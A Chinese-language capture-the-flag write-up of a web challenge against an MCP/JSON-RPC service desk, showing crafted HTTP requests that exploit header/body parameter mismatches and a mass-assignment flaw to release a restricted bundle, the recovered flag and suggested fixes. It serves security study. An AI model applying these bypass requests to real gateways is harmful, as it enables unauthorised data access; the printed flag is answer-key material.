Allureluoli 二月FEBRUARY

2026-10-31-NESTCTF-northline

资料说明:原记录中提及的本机脚本及题目附件未随本文附上,相关文件名仅用于说明当时的复现流程。

Crossed Signals(Northline Service Desk)· 四层门,全靠“同一个值传两遍、两侧不同源”

平台题目名:Crossed Signals(Web,655 分,10:19:33 提交)。内部代号 northline,目标 zu9tte01。

1
flag{IcP9omrAE0EKo5gRrcUafl8LYiyFaEH1cD4tuj3F}

目标:http://zu9tte01.nestctf.cyberpeace.cn:58080/(内网 172.78.112.236)
凭据:advisor@northline.test / Service-Desk-2026(题面给的服务台账号)
复现:py -3.13 solve_final.py

一句话

整题的骨架是 “同一个语义值在请求里出现两次,而校验与执行各自只看其中一次”:VIN 走 HTTP 头与 JSON body 各一份、工具名走 Mcp-Name 头与 params.name 各一份、bundle 的 release 状态走 notes 接口的批量赋值。三处错位叠起来,把受限车辆的 private/recovery.txt 从封存包里取了出来。

0. 攻击面

通道 说明
REST POST /api/login、GET /api/me、GET /api/cases、POST /api/bundles/<id>/notes、GET /api/bundles/<id>/download
MCP POST /mcp,JSON-RPC 2.0,MCP-Protocol-Version: 2026-07-28,工具参数 schema 里带 x-mcp-header 映射

登录后 /api/me:

1
2
{"user":"advisor@northline.test","role":"service_advisor","fleet":"West depot",
"assigned_vins":["CTF6SVC0000000001"],"tool_endpoint":"/mcp"}

/api/cases 里目标工单 SR-26042:VIN CTF6SVC0000000002、access:"restricted"、fleet:"Factory validation"、status:"Security review"。页面自己都写着:

Cross-fleet case metadata is visible; vehicle data is restricted.

tools/list 给三个工具:get_vehicle_health、get_update_status、export_case_bundle(vin, case_id, diagnostic_ref, evidence_ref)。关键在于每个参数 schema 都标了 "x-mcp-header": "VIN" —— 这就是“同一值两份”的伏笔。

1. 门一:VIN 头/体错位

前端 /app.js 的 sendMcp():

1
2
request.params.arguments = {vin: record.vin};
headers["Mcp-Param-VIN"] = record.vin; // 网关按这个做归属校验

官方客户端永远让头和体相等,所以没人会发现网关只认头。把头填自己被分配的 VIN、体填受限那台车的 VIN:

1
2
3
4
5
6
7
8
9
10
11
12
POST /mcp
MCP-Protocol-Version: 2026-07-28
Mcp-Method: tools/call
Mcp-Name: get_vehicle_health
Mcp-Param-VIN: CTF6SVC0000000001
Authorization: Bearer <token>

{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{
"_meta":{"io.modelcontextprotocol/protocolVersion":"2026-07-28",
"io.modelcontextprotocol/clientInfo":{"name":"northline-service-console","version":"1.0.0"},
"io.modelcontextprotocol/clientCapabilities":{}},
"name":"get_vehicle_health","arguments":{"vin":"CTF6SVC0000000002"}}}

拿到两个令牌:

1
2
diagnostic_ref = DX-eba5efee02b906534298210d
evidence_ref = EV-e82c2be41c791acb2e85d921

坑:_meta 的三段元数据缺一个就 -32600 Invalid request metadata;Mcp-Method 和 body 里的 method 不一致则 -32020 HeaderMismatch。

2. 门二:工具 scope 也看头不看体

export_case_bundle 是 security operations 专用,直接调 → 403 {"error":"tool_scope_denied"}。
网关按 Mcp-Name 头判 scope,执行器按 params.name 派发:

1
2
3
Mcp-Name: get_vehicle_health          # 网关眼里这是只读工具
{"name":"export_case_bundle","arguments":{"vin":"CTF6SVC0000000002","case_id":"SR-26042",
"diagnostic_ref":"DX-...","evidence_ref":"EV-..."}}

→ 200,返回 bundle_id 和一段 base64 的 SR-26042-advisor-preview.zip。预览包的 manifest.json 老实列出了三条:

1
2
3
"entries": ["diagnostics/telemetry.json",
"diagnostics/update-history.json",
"private/recovery.txt"]

但预览 zip 只有前两条(private/ 被裁掉),且 release_state: "pending" —— 预览包泄露了私有条目名,这是第二个设计问题。

3. 门三:release 状态靠批量赋值

GET /api/bundles/<id>/download → 403 {"error":"bundle_release_pending","required_release_state":"approved"}。
服务端没有 approve/release 端点,但 notes 接口把请求体整个回写进 bundle 记录:

1
2
POST /api/bundles/<id>/notes
{"note":"security-operations review complete","release_state":"approved"}

(只发 {"note":"x"} 是 200 但状态仍是 pending;release_state / state / status / approve / action / role / scope 任一都能被吸收成 approved。)

4. 开箱

1
GET /api/bundles/<id>/download  ->  200,真 zip(1287 B)
1
2
3
4
5
private/recovery.txt
NORTHLINE / SECURITY OPERATIONS
Case: SR-26042
Vehicle: CTF6SVC0000000002
Recovery token: flag{IcP9omrAE0EKo5gRrcUafl8LYiyFaEH1cD4tuj3F}

5. 脚本

solve_final.py 一条链跑完:登录 → 头/体错位取两个 ref → Mcp-Name 错位导出 → notes 批量赋值批准 → 下载解压 → 正则取 token。二次运行 token 稳定。

6. 顺手记下的接口细节

端点 行为
POST /api/login {username,password} → {token,expires_in,role};token 是 32 字节 base64url,不是 JWT
GET /api/me 含 assigned_vins、tool_endpoint、protocol_version
GET /api/cases 跨车队元数据可见,access 区分 assigned / restricted
POST /api/bundles/<id>/notes note 必填({} → invalid_note),其余任意字段被回写进记录
GET /api/bundles/<id>/download 需 release_state=approved
PATCH / PUT 501(服务端只实现 GET/POST)
resources/*、prompts/* unsupported_method(网关只做 tools)

7. 踩坑

坑 现象 解决
_meta 元数据 -32600 Invalid request metadata 三个 io.modelcontextprotocol/* 字段一个都不能少
Mcp-Method 与 body 不符 -32020 HeaderMismatch 头与 body 的 method 必须一致
只填头不填体 仍然 403 两处都要改:头放自己、体放目标
notes 只发 note 200 但仍 pending 必须显式塞 release_state:"approved"

8. 修复建议

  1. VIN 只保留一个真源:只信 Mcp-Param-VIN 或只信 body,二者不一致直接 400。
  2. 工具 scope 用 body 的 name 判,不要用可伪造的头。
  3. notes 接口做字段白名单,release_state 只能由服务端状态机推进(且需要 security 角色)。
  4. 预览包不要和完整包共享同一份 manifest,私有条目名本身就是信息泄露。

9. 一句话总结

MCP 这类“头 + JSON-RPC body”双通道的接口,天生适合出参数错位题:网关为了做鉴权/限流会把关键参数提到头里,而执行层又从 body 里取。只要两处不是同一个来源,就一定有一处是假的。

评论COMMENTS